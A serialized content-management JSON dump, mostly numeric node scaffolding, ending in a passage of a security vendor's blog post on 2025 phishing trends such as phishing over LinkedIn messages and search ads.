,[],{"data":82362,"content":82365,"nodeType":912},{"target":82363},{"sys":82364},{"id":70725,"type":909,"linkType":910},[],{"data":82367,"content":82368,"nodeType":866},{},[82369],{"data":82370,"marks":82371,"value":70733,"nodeType":865},{},[],{"data":82373,"content":82376,"nodeType":912},{"target":82374},{"sys":82375},{"id":70738,"type":909,"linkType":910},[],{"data":82378,"content":82379,"nodeType":866},{},[82380,82383,82389],{"data":82381,"marks":82382,"value":70746,"nodeType":865},{},[],{"data":82384,"content":82385,"nodeType":889},{"uri":70612},[82386],{"data":82387,"marks":82388,"value":70753,"nodeType":865},{},[],{"data":82390,"marks":82391,"value":14251,"nodeType":865},{},[],{"data":82393,"content":82394,"nodeType":972},{},[],{"data":82396,"content":82397,"nodeType":981},{},[82398],{"data":82399,"marks":82400,"value":70767,"nodeType":865},{},[82401],{"type":926},{"data":82403,"content":82404,"nodeType":866},{},[82405],{"data":82406,"marks":82407,"value":70774,"nodeType":865},{},[],{"data":82409,"content":82410,"nodeType":866},{},[82411],{"data":82412,"marks":82413,"value":70781,"nodeType":865},{},[],{"data":82415,"content":82416,"nodeType":866},{},[82417],{"data":82418,"marks":82419,"value":70788,"nodeType":865},{},[],{"data":82421,"content":82422,"nodeType":866},{},[82423],{"data":82424,"marks":82425,"value":70795,"nodeType":865},{},[],{"data":82427,"content":82430,"nodeType":912},{"target":82428},{"sys":82429},{"id":70800,"type":909,"linkType":910},[],{"data":82432,"content":82433,"nodeType":866},{},[82434,82437,82443],{"data":82435,"marks":82436,"value":70808,"nodeType":865},{},[],{"data":82438,"content":82439,"nodeType":889},{"uri":70811},[82440],{"data":82441,"marks":82442,"value":70816,"nodeType":865},{},[],{"data":82444,"marks":82445,"value":14251,"nodeType":865},{},[],{"data":82447,"content":82448,"nodeType":972},{},[],{"data":82450,"content":82451,"nodeType":981},{},[82452],{"data":82453,"marks":82454,"value":70830,"nodeType":865},{},[82455],{"type":926},{"data":82457,"content":82458,"nodeType":866},{},[82459],{"data":82460,"marks":82461,"value":70837,"nodeType":865},{},[],{"data":82463,"content":82464,"nodeType":866},{},[82465,82468,82475,82478,82485,82488,82495,82498,82505],{"data":82466,"marks":82467,"value":70844,"nodeType":865},{},[],{"data":82469,"content":82470,"nodeType":889},{"uri":14355},[82471],{"data":82472,"marks":82473,"value":315,"nodeType":865},{},[82474],{"type":943},{"data":82476,"marks":82477,"value":70855,"nodeType":865},{},[],{"data":82479,"content":82480,"nodeType":889},{"uri":1082},[82481],{"data":82482,"marks":82483,"value":70863,"nodeType":865},{},[82484],{"type":943},{"data":82486,"marks":82487,"value":2717,"nodeType":865},{},[],{"data":82489,"content":82490,"nodeType":889},{"uri":70869},[82491],{"data":82492,"marks":82493,"value":70875,"nodeType":865},{},[82494],{"type":943},{"data":82496,"marks":82497,"value":3476,"nodeType":865},{},[],{"data":82499,"content":82500,"nodeType":889},{"uri":70881},[82501],{"data":82502,"marks":82503,"value":70887,"nodeType":865},{},[82504],{"type":943},{"data":82506,"marks":82507,"value":70891,"nodeType":865},{},[],{"data":82509,"content":82510,"nodeType":866},{},[82511],{"data":82512,"marks":82513,"value":70898,"nodeType":865},{},[],{"data":82515,"content":82516,"nodeType":866},{},[82517],{"data":82518,"marks":82519,"value":70905,"nodeType":865},{},[],{"data":82521,"content":82522,"nodeType":972},{},[],{"data":82524,"content":82525,"nodeType":981},{},[82526],{"data":82527,"marks":82528,"value":67289,"nodeType":865},{},[82529],{"type":926},{"data":82531,"content":82532,"nodeType":866},{},[82533],{"data":82534,"marks":82535,"value":70922,"nodeType":865},{},[],{"data":82537,"content":82538,"nodeType":866},{},[82539],{"data":82540,"marks":82541,"value":70929,"nodeType":865},{},[],{"data":82543,"content":82544,"nodeType":866},{},[82545],{"data":82546,"marks":82547,"value":70936,"nodeType":865},{},[],{"data":82549,"content":82550,"nodeType":866},{},[82551,82554,82561,82564,82571],{"data":82552,"marks":82553,"value":11372,"nodeType":865},{},[],{"data":82555,"content":82556,"nodeType":889},{"uri":11375},[82557],{"data":82558,"marks":82559,"value":11381,"nodeType":865},{},[82560],{"type":943},{"data":82562,"marks":82563,"value":53880,"nodeType":865},{},[],{"data":82565,"content":82566,"nodeType":889},{"uri":1372},[82567],{"data":82568,"marks":82569,"value":11405,"nodeType":865},{},[82570],{"type":943},{"data":82572,"marks":82573,"value":1615,"nodeType":865},{},[],{"data":82575,"content":82576,"nodeType":972},{},[],{"data":82578,"content":82579,"nodeType":981},{},[82580],{"data":82581,"marks":82582,"value":67181,"nodeType":865},{},[82583],{"type":926},{"data":82585,"content":82586,"nodeType":866},{},[82587,82590,82597],{"data":82588,"marks":82589,"value":44799,"nodeType":865},{},[],{"data":82591,"content":82592,"nodeType":889},{"uri":38042},[82593],{"data":82594,"marks":82595,"value":38047,"nodeType":865},{},[82596],{"type":943},{"data":82598,"marks":82599,"value":67198,"nodeType":865},{},[],{"data":82601,"content":82602,"nodeType":866},{},[82603],{"data":82604,"marks":82605,"value":70995,"nodeType":865},{},[],{"data":82607,"content":82608,"nodeType":1616},{},[82609,82618,82627,82636],{"data":82610,"content":82611,"nodeType":1570},{},[82612],{"data":82613,"content":82614,"nodeType":866},{},[82615],{"data":82616,"marks":82617,"value":71008,"nodeType":865},{},[],{"data":82619,"content":82620,"nodeType":1570},{},[82621],{"data":82622,"content":82623,"nodeType":866},{},[82624],{"data":82625,"marks":82626,"value":71018,"nodeType":865},{},[],{"data":82628,"content":82629,"nodeType":1570},{},[82630],{"data":82631,"content":82632,"nodeType":866},{},[82633],{"data":82634,"marks":82635,"value":71028,"nodeType":865},{},[],{"data":82637,"content":82638,"nodeType":1570},{},[82639],{"data":82640,"content":82641,"nodeType":866},{},[82642],{"data":82643,"marks":82644,"value":71038,"nodeType":865},{},[],{"data":82646,"content":82647,"nodeType":866},{},[82648],{"data":82649,"marks":82650,"value":71045,"nodeType":865},{},[],{"data":82652,"content":82653,"nodeType":1616},{},[82654,82663,82672,82681],{"data":82655,"content":82656,"nodeType":1570},{},[82657],{"data":82658,"content":82659,"nodeType":866},{},[82660],{"data":82661,"marks":82662,"value":71058,"nodeType":865},{},[],{"data":82664,"content":82665,"nodeType":1570},{},[82666],{"data":82667,"content":82668,"nodeType":866},{},[82669],{"data":82670,"marks":82671,"value":71068,"nodeType":865},{},[],{"data":82673,"content":82674,"nodeType":1570},{},[82675],{"data":82676,"content":82677,"nodeType":866},{},[82678],{"data":82679,"marks":82680,"value":71078,"nodeType":865},{},[],{"data":82682,"content":82683,"nodeType":1570},{},[82684],{"data":82685,"content":82686,"nodeType":866},{},[82687],{"data":82688,"marks":82689,"value":71088,"nodeType":865},{},[],{"data":82691,"content":82692,"nodeType":866},{},[82693],{"data":82694,"marks":82695,"value":71095,"nodeType":865},{},[],{"data":82697,"content":82698,"nodeType":1616},{},[82699,82708,82717,82726,82735,82744,82753],{"data":82700,"content":82701,"nodeType":1570},{},[82702],{"data":82703,"content":82704,"nodeType":866},{},[82705],{"data":82706,"marks":82707,"value":71108,"nodeType":865},{},[],{"data":82709,"content":82710,"nodeType":1570},{},[82711],{"data":82712,"content":82713,"nodeType":866},{},[82714],{"data":82715,"marks":82716,"value":71118,"nodeType":865},{},[],{"data":82718,"content":82719,"nodeType":1570},{},[82720],{"data":82721,"content":82722,"nodeType":866},{},[82723],{"data":82724,"marks":82725,"value":71128,"nodeType":865},{},[],{"data":82727,"content":82728,"nodeType":1570},{},[82729],{"data":82730,"content":82731,"nodeType":866},{},[82732],{"data":82733,"marks":82734,"value":71138,"nodeType":865},{},[],{"data":82736,"content":82737,"nodeType":1570},{},[82738],{"data":82739,"content":82740,"nodeType":866},{},[82741],{"data":82742,"marks":82743,"value":71148,"nodeType":865},{},[],{"data":82745,"content":82746,"nodeType":1570},{},[82747],{"data":82748,"content":82749,"nodeType":866},{},[82750],{"data":82751,"marks":82752,"value":71158,"nodeType":865},{},[],{"data":82754,"content":82755,"nodeType":1570},{},[82756],{"data":82757,"content":82758,"nodeType":866},{},[82759],{"data":82760,"marks":82761,"value":71168,"nodeType":865},{},[],{"data":82763,"content":82764,"nodeType":866},{},[82765],{"data":82766,"marks":82767,"value":37990,"nodeType":865},{},[82768],{"type":926},{"items":82770},[82771,82773],{"sys":82772,"name":342},{"id":4642},{"sys":82774,"name":7796},{"id":7795},{"items":82776},[82777],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":82778},{"url":7804},{"__typename":1429,"sys":82780,"content":82781,"title":53891,"synopsis":53892,"hashTags":59,"publishedDate":53893,"slug":53894,"tagsCollection":83597,"authorsCollection":83603},{"id":52948},{"json":82782},{"data":82783,"content":82784,"nodeType":1382},{},[82785,82791,82797,82803,82806,82813,82819,82825,82830,82836,82841,82857,82863,82873,82876,82883,82889,82902,82908,82918,82923,82926,82933,82940,82945,82953,82969,82977,82983,82991,83006,83014,83020,83028,83054,83062,83068,83076,83092,83097,83105,83111,83119,83152,83155,83162,83170,83186,83194,83200,83208,83234,83239,83247,83253,83258,83261,83268,83276,83282,83333,83338,83341,83348,83356,83362,83367,83370,83377,83383,83389,83449,83455,83510,83516,83519,83526,83532,83538,83543,83546,83553,83559,83565,83571],{"data":82786,"content":82787,"nodeType":866},{},[82788],{"data":82789,"marks":82790,"value":52959,"nodeType":865},{},[],{"data":82792,"content":82793,"nodeType":866},{},[82794],{"data":82795,"marks":82796,"value":52966,"nodeType":865},{},[],{"data":82798,"content":82799,"nodeType":866},{},[82800],{"data":82801,"marks":82802,"value":52973,"nodeType":865},{},[],{"data":82804,"content":82805,"nodeType":972},{},[],{"data":82807,"content":82808,"nodeType":981},{},[82809],{"data":82810,"marks":82811,"value":52984,"nodeType":865},{},[82812],{"type":926},{"data":82814,"content":82815,"nodeType":866},{},[82816],{"data":82817,"marks":82818,"value":52991,"nodeType":865},{},[],{"data":82820,"content":82821,"nodeType":866},{},[82822],{"data":82823,"marks":82824,"value":52998,"nodeType":865},{},[],{"data":82826,"content":82829,"nodeType":912},{"target":82827},{"sys":82828},{"id":53003,"type":909,"linkType":910},[],{"data":82831,"content":82832,"nodeType":866},{},[82833],{"data":82834,"marks":82835,"value":53011,"nodeType":865},{},[],{"data":82837,"content":82840,"nodeType":912},{"target":82838},{"sys":82839},{"id":53016,"type":909,"linkType":910},[],{"data":82842,"content":82843,"nodeType":866},{},[82844,82847,82854],{"data":82845,"marks":82846,"value":53024,"nodeType":865},{},[],{"data":82848,"content":82849,"nodeType":889},{"uri":15501},[82850],{"data":82851,"marks":82852,"value":53032,"nodeType":865},{},[82853],{"type":943},{"data":82855,"marks":82856,"value":53036,"nodeType":865},{},[],{"data":82858,"content":82859,"nodeType":866},{},[82860],{"data":82861,"marks":82862,"value":53043,"nodeType":865},{},[],{"data":82864,"content":82865,"nodeType":866},{},[82866,82869],{"data":82867,"marks":82868,"value":53050,"nodeType":865},{},[],{"data":82870,"marks":82871,"value":53055,"nodeType":865},{},[82872],{"type":926},{"data":82874,"content":82875,"nodeType":972},{},[],{"data":82877,"content":82878,"nodeType":981},{},[82879],{"data":82880,"marks":82881,"value":53066,"nodeType":865},{},[82882],{"type":926},{"data":82884,"content":82885,"nodeType":866},{},[82886],{"data":82887,"marks":82888,"value":53073,"nodeType":865},{},[],{"data":82890,"content":82891,"nodeType":866},{},[82892,82895,82899],{"data":82893,"marks":82894,"value":53080,"nodeType":865},{},[],{"data":82896,"marks":82897,"value":53085,"nodeType":865},{},[82898],{"type":926},{"data":82900,"marks":82901,"value":53089,"nodeType":865},{},[],{"data":82903,"content":82904,"nodeType":866},{},[82905],{"data":82906,"marks":82907,"value":53096,"nodeType":865},{},[],{"data":82909,"content":82910,"nodeType":866},{},[82911,82914],{"data":82912,"marks":82913,"value":53103,"nodeType":865},{},[],{"data":82915,"marks":82916,"value":53108,"nodeType":865},{},[82917],{"type":926},{"data":82919,"content":82922,"nodeType":912},{"target":82920},{"sys":82921},{"id":53113,"type":909,"linkType":910},[],{"data":82924,"content":82925,"nodeType":972},{},[],{"data":82927,"content":82928,"nodeType":981},{},[82929],{"data":82930,"marks":82931,"value":53125,"nodeType":865},{},[82932],{"type":926},{"data":82934,"content":82935,"nodeType":1317},{},[82936],{"data":82937,"marks":82938,"value":53133,"nodeType":865},{},[82939],{"type":926},{"data":82941,"content":82944,"nodeType":912},{"target":82942},{"sys":82943},{"id":53138,"type":909,"linkType":910},[],{"data":82946,"content":82947,"nodeType":866},{},[82948],{"data":82949,"marks":82950,"value":53148,"nodeType":865},{},[82951,82952],{"type":926},{"type":943},{"data":82954,"content":82955,"nodeType":866},{},[82956,82959,82966],{"data":82957,"marks":82958,"value":53155,"nodeType":865},{},[],{"data":82960,"content":82961,"nodeType":889},{"uri":53158},[82962],{"data":82963,"marks":82964,"value":53164,"nodeType":865},{},[82965],{"type":943},{"data":82967,"marks":82968,"value":53168,"nodeType":865},{},[],{"data":82970,"content":82971,"nodeType":866},{},[82972],{"data":82973,"marks":82974,"value":53177,"nodeType":865},{},[82975,82976],{"type":926},{"type":943},{"data":82978,"content":82979,"nodeType":866},{},[82980],{"data":82981,"marks":82982,"value":53184,"nodeType":865},{},[],{"data":82984,"content":82985,"nodeType":866},{},[82986],{"data":82987,"marks":82988,"value":53193,"nodeType":865},{},[82989,82990],{"type":926},{"type":943},{"data":82992,"content":82993,"nodeType":866},{},[82994,82997,83003],{"data":82995,"marks":82996,"value":53200,"nodeType":865},{},[],{"data":82998,"content":82999,"nodeType":889},{"uri":53203},[83000],{"data":83001,"marks":83002,"value":53208,"nodeType":865},{},[],{"data":83004,"marks":83005,"value":53212,"nodeType":865},{},[],{"data":83007,"content":83008,"nodeType":866},{},[83009],{"data":83010,"marks":83011,"value":53221,"nodeType":865},{},[83012,83013],{"type":926},{"type":943},{"data":83015,"content":83016,"nodeType":866},{},[83017],{"data":83018,"marks":83019,"value":53228,"nodeType":865},{},[],{"data":83021,"content":83022,"nodeType":866},{},[83023],{"data":83024,"marks":83025,"value":53237,"nodeType":865},{},[83026,83027],{"type":926},{"type":943},{"data":83029,"content":83030,"nodeType":866},{},[83031,83034,83041,83044,83051],{"data":83032,"marks":83033,"value":53244,"nodeType":865},{},[],{"data":83035,"content":83036,"nodeType":889},{"uri":3488},[83037],{"data":83038,"marks":83039,"value":53252,"nodeType":865},{},[83040],{"type":943},{"data":83042,"marks":83043,"value":53256,"nodeType":865},{},[],{"data":83045,"content":83046,"nodeType":889},{"uri":53259},[83047],{"data":83048,"marks":83049,"value":6715,"nodeType":865},{},[83050],{"type":943},{"data":83052,"marks":83053,"value":53268,"nodeType":865},{},[],{"data":83055,"content":83056,"nodeType":866},{},[83057],{"data":83058,"marks":83059,"value":53277,"nodeType":865},{},[83060,83061],{"type":926},{"type":943},{"data":83063,"content":83064,"nodeType":866},{},[83065],{"data":83066,"marks":83067,"value":53284,"nodeType":865},{},[],{"data":83069,"content":83070,"nodeType":866},{},[83071],{"data":83072,"marks":83073,"value":53293,"nodeType":865},{},[83074,83075],{"type":926},{"type":943},{"data":83077,"content":83078,"nodeType":866},{},[83079,83082,83089],{"data":83080,"marks":83081,"value":53300,"nodeType":865},{},[],{"data":83083,"content":83084,"nodeType":889},{"uri":53259},[83085],{"data":83086,"marks":83087,"value":6715,"nodeType":865},{},[83088],{"type":943},{"data":83090,"marks":83091,"value":53311,"nodeType":865},{},[],{"data":83093,"content":83096,"nodeType":912},{"target":83094},{"sys":83095},{"id":53316,"type":909,"linkType":910},[],{"data":83098,"content":83099,"nodeType":866},{},[83100],{"data":83101,"marks":83102,"value":53326,"nodeType":865},{},[83103,83104],{"type":926},{"type":943},{"data":83106,"content":83107,"nodeType":866},{},[83108],{"data":83109,"marks":83110,"value":53333,"nodeType":865},{},[],{"data":83112,"content":83113,"nodeType":866},{},[83114],{"data":83115,"marks":83116,"value":53342,"nodeType":865},{},[83117,83118],{"type":926},{"type":943},{"data":83120,"content":83121,"nodeType":866},{},[83122,83125,83131,83134,83140,83143,83149],{"data":83123,"marks":83124,"value":53349,"nodeType":865},{},[],{"data":83126,"content":83127,"nodeType":889},{"uri":53352},[83128],{"data":83129,"marks":83130,"value":53357,"nodeType":865},{},[],{"data":83132,"marks":83133,"value":4988,"nodeType":865},{},[],{"data":83135,"content":83136,"nodeType":889},{"uri":53363},[83137],{"data":83138,"marks":83139,"value":53368,"nodeType":865},{},[],{"data":83141,"marks":83142,"value":53372,"nodeType":865},{},[],{"data":83144,"content":83145,"nodeType":889},{"uri":13013},[83146],{"data":83147,"marks":83148,"value":53379,"nodeType":865},{},[],{"data":83150,"marks":83151,"value":53383,"nodeType":865},{},[],{"data":83153,"content":83154,"nodeType":972},{},[],{"data":83156,"content":83157,"nodeType":1317},{},[83158],{"data":83159,"marks":83160,"value":53394,"nodeType":865},{},[83161],{"type":926},{"data":83163,"content":83164,"nodeType":866},{},[83165],{"data":83166,"marks":83167,"value":53403,"nodeType":865},{},[83168,83169],{"type":926},{"type":943},{"data":83171,"content":83172,"nodeType":866},{},[83173,83176,83183],{"data":83174,"marks":83175,"value":53410,"nodeType":865},{},[],{"data":83177,"content":83178,"nodeType":889},{"uri":53413},[83179],{"data":83180,"marks":83181,"value":53419,"nodeType":865},{},[83182],{"type":943},{"data":83184,"marks":83185,"value":53423,"nodeType":865},{},[],{"data":83187,"content":83188,"nodeType":866},{},[83189],{"data":83190,"marks":83191,"value":53432,"nodeType":865},{},[83192,83193],{"type":926},{"type":943},{"data":83195,"content":83196,"nodeType":866},{},[83197],{"data":83198,"marks":83199,"value":53439,"nodeType":865},{},[],{"data":83201,"content":83202,"nodeType":866},{},[83203],{"data":83204,"marks":83205,"value":53448,"nodeType":865},{},[83206,83207],{"type":926},{"type":943},{"data":83209,"content":83210,"nodeType":866},{},[83211,83214,83221,83224,83231],{"data":83212,"marks":83213,"value":53455,"nodeType":865},{},[],{"data":83215,"content":83216,"nodeType":889},{"uri":53458},[83217],{"data":83218,"marks":83219,"value":53464,"nodeType":865},{},[83220],{"type":943},{"data":83222,"marks":83223,"value":53468,"nodeType":865},{},[],{"data":83225,"content":83226,"nodeType":889},{"uri":53471},[83227],{"data":83228,"marks":83229,"value":53477,"nodeType":865},{},[83230],{"type":943},{"data":83232,"marks":83233,"value":53481,"nodeType":865},{},[],{"data":83235,"content":83238,"nodeType":912},{"target":83236},{"sys":83237},{"id":53486,"type":909,"linkType":910},[],{"data":83240,"content":83241,"nodeType":866},{},[83242],{"data":83243,"marks":83244,"value":53496,"nodeType":865},{},[83245,83246],{"type":926},{"type":943},{"data":83248,"content":83249,"nodeType":866},{},[83250],{"data":83251,"marks":83252,"value":53503,"nodeType":865},{},[],{"data":83254,"content":83257,"nodeType":912},{"target":83255},{"sys":83256},{"id":53508,"type":909,"linkType":910},[],{"data":83259,"content":83260,"nodeType":972},{},[],{"data":83262,"content":83263,"nodeType":1317},{},[83264],{"data":83265,"marks":83266,"value":694,"nodeType":865},{},[83267],{"type":926},{"data":83269,"content":83270,"nodeType":866},{},[83271],{"data":83272,"marks":83273,"value":53528,"nodeType":865},{},[83274,83275],{"type":926},{"type":943},{"data":83277,"content":83278,"nodeType":866},{},[83279],{"data":83280,"marks":83281,"value":53535,"nodeType":865},{},[],{"data":83283,"content":83284,"nodeType":1616},{},[83285,83298,83311],{"data":83286,"content":83287,"nodeType":1570},{},[83288],{"data":83289,"content":83290,"nodeType":866},{},[83291,83295],{"data":83292,"marks":83293,"value":53549,"nodeType":865},{},[83294],{"type":926},{"data":83296,"marks":83297,"value":53553,"nodeType":865},{},[],{"data":83299,"content":83300,"nodeType":1570},{},[83301],{"data":83302,"content":83303,"nodeType":866},{},[83304,83308],{"data":83305,"marks":83306,"value":53564,"nodeType":865},{},[83307],{"type":926},{"data":83309,"marks":83310,"value":53568,"nodeType":865},{},[],{"data":83312,"content":83313,"nodeType":1570},{},[83314],{"data":83315,"content":83316,"nodeType":866},{},[83317,83321,83324,83330],{"data":83318,"marks":83319,"value":53579,"nodeType":865},{},[83320],{"type":926},{"data":83322,"marks":83323,"value":53583,"nodeType":865},{},[],{"data":83325,"content":83326,"nodeType":889},{"uri":40710},[83327],{"data":83328,"marks":83329,"value":53590,"nodeType":865},{},[],{"data":83331,"marks":83332,"value":53594,"nodeType":865},{},[],{"data":83334,"content":83337,"nodeType":912},{"target":83335},{"sys":83336},{"id":53599,"type":909,"linkType":910},[],{"data":83339,"content":83340,"nodeType":972},{},[],{"data":83342,"content":83343,"nodeType":1317},{},[83344],{"data":83345,"marks":83346,"value":699,"nodeType":865},{},[83347],{"type":926},{"data":83349,"content":83350,"nodeType":866},{},[83351],{"data":83352,"marks":83353,"value":53619,"nodeType":865},{},[83354,83355],{"type":926},{"type":943},{"data":83357,"content":83358,"nodeType":866},{},[83359],{"data":83360,"marks":83361,"value":53626,"nodeType":865},{},[],{"data":83363,"content":83366,"nodeType":912},{"target":83364},{"sys":83365},{"id":53631,"type":909,"linkType":910},[],{"data":83368,"content":83369,"nodeType":972},{},[],{"data":83371,"content":83372,"nodeType":981},{},[83373],{"data":83374,"marks":83375,"value":14026,"nodeType":865},{},[83376],{"type":926},{"data":83378,"content":83379,"nodeType":866},{},[83380],{"data":83381,"marks":83382,"value":53649,"nodeType":865},{},[],{"data":83384,"content":83385,"nodeType":866},{},[83386],{"data":83387,"marks":83388,"value":53656,"nodeType":865},{},[],{"data":83390,"content":83391,"nodeType":1616},{},[83392,83411,83430],{"data":83393,"content":83394,"nodeType":1570},{},[83395],{"data":83396,"content":83397,"nodeType":866},{},[83398,83401,83408],{"data":83399,"marks":83400,"value":53669,"nodeType":865},{},[],{"data":83402,"content":83403,"nodeType":889},{"uri":53672},[83404],{"data":83405,"marks":83406,"value":8641,"nodeType":865},{},[83407],{"type":943},{"data":83409,"marks":83410,"value":53681,"nodeType":865},{},[],{"data":83412,"content":83413,"nodeType":1570},{},[83414],{"data":83415,"content":83416,"nodeType":866},{},[83417,83420,83427],{"data":83418,"marks":83419,"value":53691,"nodeType":865},{},[],{"data":83421,"content":83422,"nodeType":889},{"uri":53694},[83423],{"data":83424,"marks":83425,"value":53700,"nodeType":865},{},[83426],{"type":943},{"data":83428,"marks":83429,"value":53681,"nodeType":865},{},[],{"data":83431,"content":83432,"nodeType":1570},{},[83433],{"data":83434,"content":83435,"nodeType":866},{},[83436,83439,83446],{"data":83437,"marks":83438,"value":53713,"nodeType":865},{},[],{"data":83440,"content":83441,"nodeType":889},{"uri":1063},[83442],{"data":83443,"marks":83444,"value":53721,"nodeType":865},{},[83445],{"type":943},{"data":83447,"marks":83448,"value":53681,"nodeType":865},{},[],{"data":83450,"content":83451,"nodeType":866},{},[83452],{"data":83453,"marks":83454,"value":53731,"nodeType":865},{},[],{"data":83456,"content":83457,"nodeType":1616},{},[83458,83471,83484,83497],{"data":83459,"content":83460,"nodeType":1570},{},[83461],{"data":83462,"content":83463,"nodeType":866},{},[83464,83468],{"data":83465,"marks":83466,"value":53745,"nodeType":865},{},[83467],{"type":926},{"data":83469,"marks":83470,"value":53749,"nodeType":865},{},[],{"data":83472,"content":83473,"nodeType":1570},{},[83474],{"data":83475,"content":83476,"nodeType":866},{},[83477,83481],{"data":83478,"marks":83479,"value":53760,"nodeType":865},{},[83480],{"type":926},{"data":83482,"marks":83483,"value":53764,"nodeType":865},{},[],{"data":83485,"content":83486,"nodeType":1570},{},[83487],{"data":83488,"content":83489,"nodeType":866},{},[83490,83494],{"data":83491,"marks":83492,"value":53775,"nodeType":865},{},[83493],{"type":926},{"data":83495,"marks":83496,"value":53779,"nodeType":865},{},[],{"data":83498,"content":83499,"nodeType":1570},{},[83500],{"data":83501,"content":83502,"nodeType":866},{},[83503,83507],{"data":83504,"marks":83505,"value":53790,"nodeType":865},{},[83506],{"type":926},{"data":83508,"marks":83509,"value":53794,"nodeType":865},{},[],{"data":83511,"content":83512,"nodeType":866},{},[83513],{"data":83514,"marks":83515,"value":53801,"nodeType":865},{},[],{"data":83517,"content":83518,"nodeType":972},{},[],{"data":83520,"content":83521,"nodeType":981},{},[83522],{"data":83523,"marks":83524,"value":53812,"nodeType":865},{},[83525],{"type":926},{"data":83527,"content":83528,"nodeType":866},{},[83529],{"data":83530,"marks":83531,"value":53819,"nodeType":865},{},[],{"data":83533,"content":83534,"nodeType":866},{},[83535],{"data":83536,"marks":83537,"value":53826,"nodeType":865},{},[],{"data":83539,"content":83542,"nodeType":912},{"target":83540},{"sys":83541},{"id":53831,"type":909,"linkType":910},[],{"data":83544,"content":83545,"nodeType":972},{},[],{"data":83547,"content":83548,"nodeType":981},{},[83549],{"data":83550,"marks":83551,"value":6331,"nodeType":865},{},[83552],{"type":926},{"data":83554,"content":83555,"nodeType":866},{},[83556],{"data":83557,"marks":83558,"value":53849,"nodeType":865},{},[],{"data":83560,"content":83561,"nodeType":866},{},[83562],{"data":83563,"marks":83564,"value":53856,"nodeType":865},{},[],{"data":83566,"content":83567,"nodeType":866},{},[83568],{"data":83569,"marks":83570,"value":53863,"nodeType":865},{},[],{"data":83572,"content":83573,"nodeType":866},{},[83574,83577,83584,83587,83594],{"data":83575,"marks":83576,"value":11372,"nodeType":865},{},[],{"data":83578,"content":83579,"nodeType":889},{"uri":11375},[83580],{"data":83581,"marks":83582,"value":11381,"nodeType":865},{},[83583],{"type":943},{"data":83585,"marks":83586,"value":53880,"nodeType":865},{},[],{"data":83588,"content":83589,"nodeType":889},{"uri":1372},[83590],{"data":83591,"marks":83592,"value":11405,"nodeType":865},{},[83593],{"type":943},{"data":83595,"marks":83596,"value":1615,"nodeType":865},{},[],{"items":83598},[83599,83601],{"sys":83600,"name":7796},{"id":7795},{"sys":83602,"name":342},{"id":4642},{"items":83604},[83605],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":83606},{"url":7804},{"__typename":1429,"sys":83608,"content":83610,"title":84275,"synopsis":84276,"hashTags":59,"publishedDate":84277,"slug":84278,"tagsCollection":84279,"authorsCollection":84285},{"id":83609},"5CqV6e5wfHsfEVczkWSerZ",{"json":83611},{"data":83612,"content":83613,"nodeType":1382},{},[83614,83620,83627,83634,83637,83645,83652,83659,83666,83760,83766,83772,83778,83785,83792,83811,83814,83822,83829,83836,83843,83886,83893,83938,83944,83951,83958,83961,83969,83976,83983,83990,84060,84066,84072,84104,84110,84129,84135,84142,84149,84155,84158,84166,84173,84206,84213,84216,84224,84231,84238,84264,84269],{"data":83615,"content":83619,"nodeType":912},{"target":83616},{"sys":83617},{"id":83618,"type":909,"linkType":910},"1axcGwWxeKxDMk8jOWhYT6",[],{"data":83621,"content":83622,"nodeType":866},{},[83623],{"data":83624,"marks":83625,"value":83626,"nodeType":865},{},[],"2025 saw a huge amount of attacker innovation when it comes to phishing attacks, as attackers continue to double down on identity-based techniques. The continual evolution of phishing means it remains one of the most effective methods available to attackers today — in fact, it’s arguably more effective than ever. ",{"data":83628,"content":83629,"nodeType":866},{},[83630],{"data":83631,"marks":83632,"value":83633,"nodeType":865},{},[],"Let’s take a closer look at the key trends that defined phishing attacks in 2025, and what these changes mean for security teams heading into 2026. ",{"data":83635,"content":83636,"nodeType":972},{},[],{"data":83638,"content":83639,"nodeType":981},{},[83640],{"data":83641,"marks":83642,"value":83644,"nodeType":865},{},[83643],{"type":926},"#1: Phishing goes omni-channel",{"data":83646,"content":83647,"nodeType":866},{},[83648],{"data":83649,"marks":83650,"value":83651,"nodeType":865},{},[],"We’ve been talking about the rise of non-email phishing for some time now, but 2025 was the year phishing truly went omni-channel. ",{"data":83653,"content":83654,"nodeType":866},{},[83655],{"data":83656,"marks":83657,"value":83658,"nodeType":865},{},[],"Although most of the industry’s data on phishing still comes from email security vendors and tools, the picture is starting to change. Roughly 1 in 3 phishing attacks detected by Push Security were delivered outside of email. ",{"data":83660,"content":83661,"nodeType":866},{},[83662],{"data":83663,"marks":83664,"value":83665,"nodeType":865},{},[],"There are many examples of phishing campaigns operated outside of email, with LinkedIn DMs and Google Search being the top channels we identified. Notable campaigns include:",{"data":83667,"content":83668,"nodeType":1616},{},[83669,83691,83713],{"data":83670,"content":83671,"nodeType":1570},{},[83672],{"data":83673,"content":83674,"nodeType":866},{},[83675,83678,83687],{"data":83676,"marks":83677,"value":21,"nodeType":865},{},[],{"data":83679,"content":83681,"nodeType":889},{"uri":83680},"https://pushsecurity.com/blog/how-push-stopped-a-high-risk-linkedin-spear-phishing-attack",[83682],{"data":83683,"marks":83684,"value":83686,"nodeType":865},{},[83685],{"type":943},"A targeted campaign against tech company Exec’s",{"data":83688,"marks":83689,"value":83690,"nodeType":865},{},[]," delivered via compromised accounts on LinkedIn from other employees of the same organization, framed as an investment opportunity.",{"data":83692,"content":83693,"nodeType":1570},{},[83694],{"data":83695,"content":83696,"nodeType":866},{},[83697,83700,83709],{"data":83698,"marks":83699,"value":21,"nodeType":865},{},[],{"data":83701,"content":83703,"nodeType":889},{"uri":83702},"https://pushsecurity.com/blog/new-phishing-campaign-identified-targeting-linkedin-users",[83704],{"data":83705,"marks":83706,"value":83708,"nodeType":865},{},[83707],{"type":943},"A campaign posing as a South American investment fund",{"data":83710,"marks":83711,"value":83712,"nodeType":865},{},[]," offering the opportunity to join the fund. ",{"data":83714,"content":83715,"nodeType":1570},{},[83716],{"data":83717,"content":83718,"nodeType":866},{},[83719,83723,83732,83736,83744,83748,83756],{"data":83720,"marks":83721,"value":83722,"nodeType":865},{},[],"Several malvertising campaigns capturing users searching for key search terms such as “",{"data":83724,"content":83726,"nodeType":889},{"uri":83725},"https://pushsecurity.com/blog/analysing-a-malvertising-attack-targeting-business-google-accounts",[83727],{"data":83728,"marks":83729,"value":83731,"nodeType":865},{},[83730],{"type":943},"Google Ads",{"data":83733,"marks":83734,"value":83735,"nodeType":865},{},[],"”, 